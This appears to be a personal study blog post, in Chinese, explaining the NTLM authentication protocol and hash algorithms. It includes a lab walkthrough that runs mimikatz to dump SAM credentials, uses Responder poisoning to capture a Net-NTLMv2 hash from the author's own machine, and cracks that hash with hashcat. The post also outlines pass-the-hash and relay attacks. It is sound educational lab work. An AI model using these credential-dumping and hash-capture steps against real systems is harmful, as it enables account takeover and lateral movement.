简介
NTLM(New Technology LAN Manager)协议是微软用于Windows身份验证的主要协议之一。继SMB、LM协议之后微软提出了NTLM协议,这一协议安全性更高,不仅可以用于工作组中的机器身份验证,又可以用于域环境身份验证,还可以为SMB、HTTP、LDAP、SMTP等上层应用提供身份验证。
LM Hash加密算法
LM Hash本质是DES加密,但是LM Hash容易破解,从Windows Vista和Windows Server2008开始,Windows默认禁用LM Hash。
LM Hash加密明文限制在14位,如果密文大于14位,说明LM Hash位空值或者被禁用。
LM Hash加密流程
将用户明文转化成大写,并转16进制
如 p@ssw0rd ->P@SSW0RD->5040535357305244如果转换后的十六进制字符串长度不足14B(28),用0补全
5040535357305244->5040535357305244000000000000将14B分为两组,每组7B,然后转二进制
50405353573052->01010000010000000101001101010011010101110011000001010010
44000000000000->01000100000000000000000000000000000000000000000000000000将每组二进制数据按7bit一组,分为8组,每组末尾添0,再转16进制
01010000010000000101001101010011010101110011000001010010
->01010000 00100000 00010100 01101010 00110100 10111000 11000000 10100100
->5020146a34b8c0a4
01000100000000000000000000000000000000000000000000000000
->01000100 00000000 00000000 00000000 00000000 00000000 00000000 00000000
->4400000000000000
将两组16进制字符串作为DES密钥对
KGS!@#$%
进行加密,然后将DES加密后的密文进行拼接得到LM Hash的值
5020146a34b8c0a4->921988BA001DC8E1
4400000000000000->4A3B108F3FA6CB6D
LM Hash:921988BA001DC8E14A3B108F3FA6CB6D验证
LM Hash因为不安全容易受到爆破攻击所以几乎不再使用,特别是如果密文长度小于7,那个第二个分组加密后的结果一定为 aad3b435b51404ee
如果LM Hash被禁用LM Hash的值为aad3b435b51404eeaad3b435b51404ee
NTLM Hash加密算法
NTLM Hash加密流程
将用户密码转换为十六进制
123456->31 32 33 34 35 36将十六进制格式的密码转换成Unicode格式,即在每个字节之后添加0x00
31 32 33 34 35 36->310032003300340035003600使用MD4对Unicode编码数据进行Hash计算
310032003300340035003600->32ed87bdb5fdc5e9cba88547376818d4python实现
python -c "import hashlib,binascii;print('NTLM_Hash:'+binascii.hexlify(hashlib.new('md4', '123456'.encode('utf-16le')).digest()).decode('utf-8'))" NTLM_Hash:32ed87bdb5fdc5e9cba88547376818d4
验证
Windows系统存储的NTLM Hash
用户密码经过NTLM Hash加密后存储在C:\Windows\system32\config\SAM文件中,当用户在进行身份认证的时候,输入密码,系统对用户输入的密码进行NTLM Hash处理,如果结果和SAM文件中的NTLM Hash相同,则认证成功。
当用户注销,重启,锁屏后,操作系统会让winlogon.exe显示登录界面,winlogon.exe接受输入,将密码交给lsass.exe进程,lsass.exe进程中会存一份明文密码,进行NTLM Hash加密与SAM比较。
mimikatz抓取NTLM Hash就是通过抓取lsass.exe内存中凭据。
由于无法直接打开SAM文件,所以使用mimikatz工具读取
按照常规操作privilege::debug
->sekurlsa::logonpasswords
对win11是不启用的
按照一下操作privilege::debug
->token::elevate
->lsadump::sam
拿到了我自己的HTLM Hash
使用MSF或者CS通过转存Hash抓取到的密码格式是:用户名:用户SID值:KM Hash:HTLM Hash:::
一般第三位就是aad3b435b51404eeaad3b435b51404ee
可以看到第三位是aad3b435b51404eeaad3b435b51404ee,第四位是我的NTLM Hash值
工作组下NTLM协议认证机制
NTLM协议是一种基于**Challenge/Response(质询/响应)**的验证机制,由三种消息组成
- Type1:协商(Negotiate)
- Type2:质询(Challenge)
- Type3:认证(Authentication)
NTLM协议由V1
和v2
两个版本,两者主要区别是Challenge值和加密算法的不同,共同之处都使用NTLM Hash加密
- 当客户端需要访问服务器的某个服务时,就需要进行身份认证。于是,在客户端输入服务器的用户名和密码进行验证之后,就会缓存服务器密码的
NTLM Hash
值。然后,客户端会向服务端发送一个请求,该请求利用NTLM SSP生成NTLMSSP_ NEGOTIATE消息(被称为Type1协商消息)。 - 服务端接收到客户端发送过来的Type1消息后,读取其中的内容,并从中选择自己所能接受的服务内容、加密等级、安全服务等,然后传入NTLM SSP,得到NTLMSSP_CHALLENGE消息(被称为Type2质询消息),并将此Type2消息发回给客户端。在此Type2消息中包含一个由服务端生成的16位随机值,被称为Challenge值,服务端会将该Challenge值进行缓存。
- 客户端收到服务端返回的Type2消息后,读取服务端所支持的内容,并取出其中的Challenge值,用缓存的服务器密码的NTLM Hash对其进行加密得到Response消息。最后将Response和一些其他信息封装到NTLMSSP_AUTH消息中(被称为Type3认证消息),发往服务端。
- 服务端收到认证消息后,从中取出Net-NTLM Hash,然后用自己密码的NTLM Hash对Challenge值进行一系列加密运算,得到自己计算的Net-NTLM Hash,并比较自己计算出的Net-NTLM Hash和客户端发送的Net-NTLM Hash是否相等。如果相等,则证明客户端输人的密码正确,从而认证成功,反之则认证失败。
实验检验
SMB 服务端 192.168.31.178
客户端 192.168.31.34
先在kali上打开wireshark,然后smb连接win10服务端
┌──(root㉿kali2)-[~/Desktop]
└─# smbclient //192.168.31.178/Users -U test
Password for [WORKGROUP\test]:
Try "help" to get a list of possible commands.
smb: \>
根据抓包可以看到一个标志性的包,NTLMSSP_ NEGOTIATE
,NTLMSSP_CHALLENGE
,NTLMSSP_AUTH
分别来看看几个阶段
- 协商
security mode的Signing enabled为True,Signing required为False表明客户端支持签名, 但是协商不签名。工作组环境下默认都不签名。 - Negotiate包
第五个包是Negotiate包
一些需要协商的flag - Challenge包
第6个包是Challenge包,由服务端发往客户端,可以看到challenge值 - Authenticate包
在response中有6中响应类型- LM响应,由低版本客户端发送
- NTLM v1响应,这是基于NT的客户端发送,包括Windows 2000 和xp
- HTLM v2响应,在Windows NT Server Pack4中引入一种较新的响应类型。他替换启动了NTLM v2系统上的NTLM响应
- LM v2响应,替换NTLM v2系统上的LM响应
- NTLM v2会话响应,用于在没有NTLM v2身份验证的情况下协商NTLM v2会话安全性,此方案会更改LM NTLM响应的语义
- 匿名响应,当匿名上下文正在建立时使用,没有提供实际的证书,也没有真正的身份验证。“存根”字段显示在Type3消息中
这6中响应类型使用的加密流程一样,都上前面所说的Challenge/Response验证机制,不同之处在于Challenge值和加密算法。至于选择哪种由LmCompatibility-Level决定。
本次测试可以看到是NTLM v2类型的响应,在该字段下可以看到NTProofStr字段,该字段的值是用做数据签名的Hash(HMAC-MD5)值,目的是保证数据的完整性。
NTLMv2 Hash=HMAC-MD5(unicode(hex((upper(Username)+DomainName))),NTLM_Hash)
NTProofStr=HMAC-MD5(challenge+blob,NTLMv2 Hash)
微软为了防止数据包被中途篡改,使用exportedSessionKey加密三个NTLM消息来保证数据包的完整性,而由于exportedSessionKey仅对启动认证的账户和目标服务器已知,因此有了MIC,攻击者于是无法通过篡改NTLM认证数据包。
MIC=HMAC_MD5(exportedSessionKey,NEGOTIATE_MESSAGE+CHALLENGE_MESSAGE+AUTHENTICATE_MESSAGE)
- 返回成功与否
第8个数据包返回成功的结果 - 签名
在认证完成后,根据协商的字段值来确定是否需要对后续数据包进行签名。
在第7个数据包中可以看到Session Key字段,Session Key是用来进行协商加密密钥的。
看下Session Key的生成函数
Session Key是由keyExchangeKey和exportedSessionKey经过一系列运算得到def generateEncryptedSessionKey(keyExchangeKey,exportedSessionKey): cipher=ARC4.new(keyExchangeKey) cipher_encrypt=cipher.encrypt sessionKey=cipher_encrypt(exportedSessionKey) return sessionKey
再看下keyExchangeKey是如何生成
keyExchangeKey是由password和serverChallenge等值经过一系列运算得到def KXKEY(flags,sessionBaseKey,lmChallengeResponse,serverChallenge,password,lmhash,nthash,use_ntlmv2=USE_NTLMv2): if use_ntlmv2: return sessionBaseKey if flags & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONCURITY: if flags & NTLMSSP_NEGOTIATE_NTLM_SESSIONSECURITY: keyExchangeKey=hmac_md5(sessionBaseKey,serverChallenge+lmChallengeResponse[:8]) else keyExchangeKey=sessionBaseKey elif flags & NTLMSSP_NEGOTIATE_NTLM: if flags & NTLMSSP_NEGOTIATE_LM_KEY: keyExchangeKey=__DES_block(LMOWFv1(password,lmhash)[:7],lmChallengeResponse[:8])+__DES_block(LMOWFv1(password,lmhash)[:7]+b'\xBD\xBD\xBD\xBD\xBD\xBD',lmChallengeResponse[:8]) elif flags & NTLMSSP_REQUEST_NON_NT_SESION_KEY: keyExchangeKey=LMOWFv1(password,lmhash)[:8]+b'\x00'*8 else: keyExchangeKey=sessionBaseKey else: raise Exception("Can't create a valid KXKEY") return keyExchangeKey
而exportedSessionKey是客户端生成的随机数,用来加解密liu’l,代码如下
exportedSessionKey = b(“”.join([random.choice(string.digists+string.ascii_letters) for _ in range(16)]))
客户端和服务端通过Session Key协商密钥过程如下
首先,客户端会生成一个随机数exportedSessionKey,后续都使用这个exportedSessionKey来加解密流量。exportedSessionKey是客户端生成的,服务端并不知道。
客户端使用keyExchangeKey作为Key,用CR4加密算法加密exportedSessionKey,得到的流量中看到Session Key。服务器端拿到流量后,使用用户密码和Challenge值经过运算生成keyExchangeKey,然后使用Session
Key与KeyExchangeKey一起运算得到exportedSessionKey,最后使用exportedSessionKey加解密流量。对于攻击者来说,由于没有用户的密码,因此无法生成keyExchangeKey。所以,攻击者即使拿到了流量,也无法计算出exportedSessionKey,自然无法解密流量。
Net-NTLM v2 Hash的计算
NTLM v2的Response消息生成过程:
- 将大写的Username和Domain name(区分大小写)拼接在一起转换成16进制,然后双字节Unicode编码得到data,接着使用16B NTLM哈希值作为密钥key,用data和key进行HMAC_MD5加密得到NTLM v2 Hash
- 构建一个blob信息
- 使用16字节NTLM v2 Hash作为密钥,将HMAC_MD5消息认证代码算法加密一个值(来自Type2的Challenge与blob拼接在一起),得到一个16B的NTProotStr(HMAC_MD5)
- 将NTProofStr与blob拼接得到Response
使用Responder工具抓取NTLM Response消息的时候,抓取的都是Net-NTLM Hash格式的数据
Net-NTLM v2 Hash的格式:
username::domain:challenge:HMAC_MD5:blob
username: 要访问服务器的用户名
domain: 域信息
challenge: 数据包6中服务器返回challenge值
HMAC-MD5: 数据包7中的NTProofStr
blob: 数据包7中NTLM v2 Response去掉NTProofStr的后半部分
计算NTLM v2 Hash,NTProofStr以及Response值的代码如下NTLM v2 Hash=HMAC-MD5(unicode(hex((upper(UserName)+DomainName))),NTLM Hash) NTProofStr=HMAC-MD5(challenge+blob,NTLMv2 Hash)
import hmac import hashlib import binascii def str_to_hex(string): return ''.join([hex(ord(t)).replace('0x','') for t in string]) def hex_to_unicode(string): return string.replace(" ","00")+"00" def Ntlm_hash(string): return binascii.hexlify(hashlib.new("md4",string.encode("utf-16le")).digest()).decode("utf-8") def hmac_md5(key,data): return hmac.new(binascii.a2b_hex(key),binascii.a2b_hex(data),hashlib.md5).hexdigest() if __name__="__main__": username=input("please input Username:") password=input("please input Password:") domain_name=input("please input Domain_name:") challenge=input("please input Challenge:") blob=input("please input blob:") print('*'*100) HEX=str_to_hex(username.upper()+domain_name) data=hex_to_unicode(HEX) key=Ntlm_hash(password) NTLM_v2_Hash=hmac_md5(key,data) print("NTLM_v2_Hash:"+NTLM_v2_Hash) data2=challenge+blob NTProofStr=hmac_md5(NTLM_v2_Hash,data2) print("NTProofStr:"+NTProofStr) Response=username+"::"+domain_name+":"+challenge+":"+NTProofStr+":"+blob print("Response:"+Response)
responder实验
下面实验验证一下Responder抓取NTLM v2 Responde消息然后使用hashcat进行爆破
攻击机kali:192.168.31.34
靶机win10:192.168.31.178
kali自带Responder直接使用即可
┌──(root㉿kali2)-[~/Desktop]
└─# responder -I eth0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.4.0
To support this project:
Github -> https://github.com/sponsors/lgandx
Paypal -> https://paypal.me/PythonResponder
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
MQTT server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
SNMP server [OFF]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Force ESS downgrade [OFF]
[+] Generic Options:
Responder NIC [eth0]
Responder IP [192.168.31.34]
Responder IPv6 [fe80::20c:29ff:fed2:e049]
Challenge set [random]
Don't Respond To Names ['ISATAP', 'ISATAP.LOCAL']
[+] Current Session Variables:
Responder Machine Name [WIN-JNOQBZ1D6K9]
Responder Domain Name [NNLN.LOCAL]
Responder DCE-RPC Port [49009]
[+] Listening for events...
开启监听eth0网卡
在win10靶机上访问一个不存在的共享目录比如\111\123,随便输入即可
然后kali监听到信息,捕捉HTLM v2 Hash值
[*] [NBT-NS] Poisoned answer sent to 192.168.31.178 for name WIN-N5633OS4LCV (service: Domain Controller)
[*] [NBT-NS] Poisoned answer sent to 192.168.31.178 for name WORKGROUP (service: Domain Master Browser)
[*] [MDNS] Poisoned answer sent to 192.168.31.178 for name 111.local
[*] [LLMNR] Poisoned answer sent to fe80::4029:1fd8:cf61:59c2 for name 111
[*] [NBT-NS] Poisoned answer sent to 192.168.31.178 for name 111 (service: File Server)
[*] [MDNS] Poisoned answer sent to 192.168.31.178 for name 111.local
[*] [LLMNR] Poisoned answer sent to 192.168.31.178 for name 111
[*] [MDNS] Poisoned answer sent to fe80::4029:1fd8:cf61:59c2 for name 111.local
[*] [LLMNR] Poisoned answer sent to fe80::4029:1fd8:cf61:59c2 for name 111
[*] [MDNS] Poisoned answer sent to fe80::4029:1fd8:cf61:59c2 for name 111.local
[*] [LLMNR] Poisoned answer sent to 192.168.31.178 for name 111
[SMB] NTLMv2-SSP Client : fe80::4029:1fd8:cf61:59c2
[SMB] NTLMv2-SSP Username : WIN-N5633OS4LCV\test
[SMB] NTLMv2-SSP Hash : test::WIN-N5633OS4LCV:dd1d9a13318cceaf:684964EF5F83B204EE0B30077A88052F:01010000000000008043172396A3DA0106380B005DCDDA4D00000000020008004E004E004C004E0001001E00570049004E002D004A004E004F00510042005A003100440036004B00390004003400570049004E002D004A004E004F00510042005A003100440036004B0039002E004E004E004C004E002E004C004F00430041004C00030014004E004E004C004E002E004C004F00430041004C00050014004E004E004C004E002E004C004F00430041004C00070008008043172396A3DA0106000400020000000800300030000000000000000000000000200000CC6D994464DFABE76848136D66BF3068E7689FA0E037ECFFB9164FE9EECBE5B20A001000000000000000000000000000000000000900100063006900660073002F003100310031000000000000000000
[*] [MDNS] Poisoned answer sent to 192.168.31.178 for name 111.local
[*] [MDNS] Poisoned answer sent to fe80::4029:1fd8:cf61:59c2 for name 111.local
[*] [LLMNR] Poisoned answer sent to fe80::4029:1fd8:cf61:59c2 for name 111
[*] [LLMNR] Poisoned answer sent to 192.168.31.178 for name 111
[*] [LLMNR] Poisoned answer sent to 192.168.31.178 for name 111
[*] [MDNS] Poisoned answer sent to 192.168.31.178 for name 111.local
[*] [MDNS] Poisoned answer sent to fe80::4029:1fd8:cf61:59c2 for name 111.local
[*] [LLMNR] Poisoned answer sent to fe80::4029:1fd8:cf61:59c2 for name 111
[*] Skipping previously captured hash for WIN-N5633OS4LCV\test
[*] [MDNS] Poisoned answer sent to 192.168.31.178 for name 111.local
[*] [LLMNR] Poisoned answer sent to fe80::4029:1fd8:cf61:59c2 for name 111
[*] [MDNS] Poisoned answer sent to fe80::4029:1fd8:cf61:59c2 for name 111.local
[*] [LLMNR] Poisoned answer sent to 192.168.31.178 for name 111
[*] [MDNS] Poisoned answer sent to fe80::4029:1fd8:cf61:59c2 for name 111.local
[*] [LLMNR] Poisoned answer sent to fe80::4029:1fd8:cf61:59c2 for name 111
[*] [MDNS] Poisoned answer sent to 192.168.31.178 for name 111.local
[*] [LLMNR] Poisoned answer sent to 192.168.31.178 for name 111
[*] Skipping previously captured hash for WIN-N5633OS4LCV\test
[*] [NBT-NS] Poisoned answer sent to 192.168.31.178 for name WORKGROUP (service: Browser Election)
test::WIN-N5633OS4LCV:dd1d9a13318cceaf:684964EF5F83B204EE0B30077A88052F:01010000000000008043172396A3DA0106380B005DCDDA4D00000000020008004E004E004C004E0001001E00570049004E002D004A004E004F00510042005A003100440036004B00390004003400570049004E002D004A004E004F00510042005A003100440036004B0039002E004E004E004C004E002E004C004F00430041004C00030014004E004E004C004E002E004C004F00430041004C00050014004E004E004C004E002E004C004F00430041004C00070008008043172396A3DA0106000400020000000800300030000000000000000000000000200000CC6D994464DFABE76848136D66BF3068E7689FA0E037ECFFB9164FE9EECBE5B20A001000000000000000000000000000000000000900100063006900660073002F003100310031000000000000000000
这个就是NTLM v2 Hash值
尝试用hashcat爆破一下,先把hash值保存在b.txt
┌──(root㉿kali2)-[~/Desktop]
└─# hashcat b.txt /usr/share/wordlists/rockyou.txt --force -m 5600
hashcat (v6.2.6) starting
You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.
OpenCL API (OpenCL 3.0 PoCL 5.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-haswell-12th Gen Intel(R) Core(TM) i7-12700H, 1142/2349 MB (512 MB allocatable), 1MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 0 MB
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344393
* Bytes.....: 139921511
* Keyspace..: 14344386
* Runtime...: 0 secs
TEST::WIN-N5633OS4LCV:dd1d9a13318cceaf:684964ef5f83b204ee0b30077a88052f:01010000000000008043172396a3da0106380b005dcdda4d00000000020008004e004e004c004e0001001e00570049004e002d004a004e004f00510042005a003100440036004b00390004003400570049004e002d004a004e004f00510042005a003100440036004b0039002e004e004e004c004e002e004c004f00430041004c00030014004e004e004c004e002e004c004f00430041004c00050014004e004e004c004e002e004c004f00430041004c00070008008043172396a3da0106000400020000000800300030000000000000000000000000200000cc6d994464dfabe76848136d66bf3068e7689fa0e037ecffb9164fe9eecbe5b20a001000000000000000000000000000000000000900100063006900660073002f003100310031000000000000000000:qweasd
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: TEST::WIN-N5633OS4LCV:dd1d9a13318cceaf:684964ef5f83...000000
Time.Started.....: Sat May 11 11:33:30 2024, (1 sec)
Time.Estimated...: Sat May 11 11:33:31 2024, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 525.0 kH/s (0.35ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 3072/14344386 (0.02%)
Rejected.........: 0/3072 (0.00%)
Restore.Point....: 2816/14344386 (0.02%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: pirate -> dangerous
Hardware.Mon.#1..: Util: 57%
Started: Sat May 11 11:33:29 2024
Stopped: Sat May 11 11:33:31 2024
其中-m 5600 指定是NTLM v2模式,结果可以看出爆破成功,–show一下
┌──(root㉿kali2)-[~/Desktop]
└─# hashcat b.txt /usr/share/wordlists/rockyou.txt --force -m 5600 --show
TEST::WIN-N5633OS4LCV:dd1d9a13318cceaf:684964ef5f83b204ee0b30077a88052f:01010000000000008043172396a3da0106380b005dcdda4d00000000020008004e004e004c004e0001001e00570049004e002d004a004e004f00510042005a003100440036004b00390004003400570049004e002d004a004e004f00510042005a003100440036004b0039002e004e004e004c004e002e004c004f00430041004c00030014004e004e004c004e002e004c004f00430041004c00050014004e004e004c004e002e004c004f00430041004c00070008008043172396a3da0106000400020000000800300030000000000000000000000000200000cc6d994464dfabe76848136d66bf3068e7689fa0e037ecffb9164fe9eecbe5b20a001000000000000000000000000000000000000900100063006900660073002f003100310031000000000000000000:qweasd
qweasd
就是我设置win10的密码
域环境下的NTLM 认证
- 客户端想要访问服务器的某个服务,需要进行身份认证。于是,在输人服务器的用户名和密码进行验证之后,客户端会缓存服务器密码的NTLM Hash值。然后,客户端会向服务端发送一个请求,该请求利用NTLM SSP生成NTLMSSP_NEGOTIATE消息(Type1)。
- 服务端接收到客户端发送过来的Type1消息,会读取其中的内容,并从中选择自己所能接受的服务内容、加密等级、安全服务等。然后传人NTLM SSP,得到NTLMSSP_CHALLENGE消息(Type2),并将此Type2消息发回给客户端。在此Typc2消息中包含一个由服务端生成的16位随机值,被称为Challenge值,服务端将该Challenge值缓存起来。
- 客户端收到服务端返回的Iype2消息后,读取服务端所支持的内容,并取出其中的Challenge值,用缓存的服务器密码的NTLM Hash对其进行加密得到Response消息,Response消息中可以提取出Net-NTLM Hash。最后将Response和一些其他信息封装到NTLMSSP_AUTH消息中(Type3),发往服务端。
以上过程与工作组下NTLM协议认证机制一样,以下过程与域控(DC)有关 - 服务端接收到客户端发送来的NTLMSSP_AUTH认证消息后,通过Netlogon协议与域控制器(Domain Controller,DC,简称域控)建立一个安全通道,将验证消息发给域控。
- 域控收到服务端发来的验证消息后,从中取出Net-NTLM Hash。然后从数据库中找到该用户的NTLM Hash,对Challenge进行一系列加密运算,得到自己计算的Net-NTLMHash,比较自已计算出的Net-NTLM Hash和服务端发送的Net-NTLM Hash是否相等,如果相等,则证明客户端输人的密码正确,认证成功,反之认证失败,域控将验证结果发给服务端。
- 服务端根据域控返回的结果,对客户端进行回复。
其实,域环境下的NTLM协议认证与工作组下没有什么区别,就是在Response的认证过程由域控承担。
这个实验先不做(其实是我的环境还没搭建好)
NTLM v1和NTLM v2的区别
前面说过,NTLM v1和NTLM v2最大的区别就是Challenge
值与加密算法的不同。
- Challenge值
NTLM v1: 8B
NTLM v2:16B - 加密算法
NTLM v1: DES加密算法
NTLM v2: HMAC-MD5加密算法 - Net-NTLM v1的Hash格式
username:hostname:LM response:NTLM response:challenge
LmCompatibilityLevel
LmCompatibilityLevel的值用来确定网络登录使用的Challenge/Response身份验证协议。
LmCompatibilityLevel值对应的含义
0: 客户端使用LM和NTLM身份验证,但从不使用NTLM v2会话安全性。域控接受LM、NTLM和NTLM v2身份验证。
1: 客户端使用LM和NTLM身份验证,如果服务器支持NTLM v2会话安全性,则使用NTLM v2,域控接受LM、NTLM和NTLM v2身份验证。
2: 客户端使用NTLM身份验证,如果服务器支持NTLM v2会话安全性,则使用NTLM v2,域控接受LM、NTLM和NTLM v2身份验证。
3: 客户端仅使用NTLM v2身份验证,如果服务器支持NTLM v2会话安全性,则使用NTLM v2,域控接受LM、NTLM和NTLM v2身份验证。
4: 客户端仅使用NTLM v2身份验证,如果服务器支持NTLM v2会话安全性,则使用NTLM v2,域控拒绝LM身份验证,但接受NTLM和NTLM v2身份验证。
5: 客户端仅使用NTLM v2身份验证,如果服务器支持NTLM v2会话安全性,则使用NTLM v2,域控拒绝LM和NTLM身份验证,但接受NTLM v2身份验证。
在本地可以修改LmCompatibilityLevel的值
默认是没有值的,可以自行修改。
NTLM协议的安全问题
上面说过Type3 NTLMSSP_AUTH
是使用用户密码进行计算的。因此,当没有拿到用户密码明文只拿到hash的时候可以进行PTH
(Pass The Hash)(哈希传递)攻击。同样,在Response中存在Net-NTLM Hash
,当获取到Net-NTLM Hash
,可以进行中间人攻击,重放Net-NTLM Hash
,这种就是NTLM Relay(NTLM 中继)攻击。由于NTLM v1协议加密过程存在天然缺陷,因此可以对Net-NTLM Hash进行破解,得到NTLM Hash后就可以横向。
- Pass The Hash
Pass The Hash是内网横向攻击的一种方式。当获取到用户密码的NTLM Hash,对内网其他用户进行Hash碰撞,碰撞到使用相同密码的机器。然后通过135或445端口横向移动到使用该密码的机器。 - NTLM Relay
上面使用Responder
获取Net-NTLM Hash
就是一种NTLM中继攻击, - Net-NTLM v1 Hash破解
只要获取到Net-NTLM v1 Hash
就能破解为NTLM Hash
,这与密码强度无关。在域环境,可以直接使用NTLM Hash连接。
NTLM协议暂且学到这。后续还会进行不同类型的攻击实验。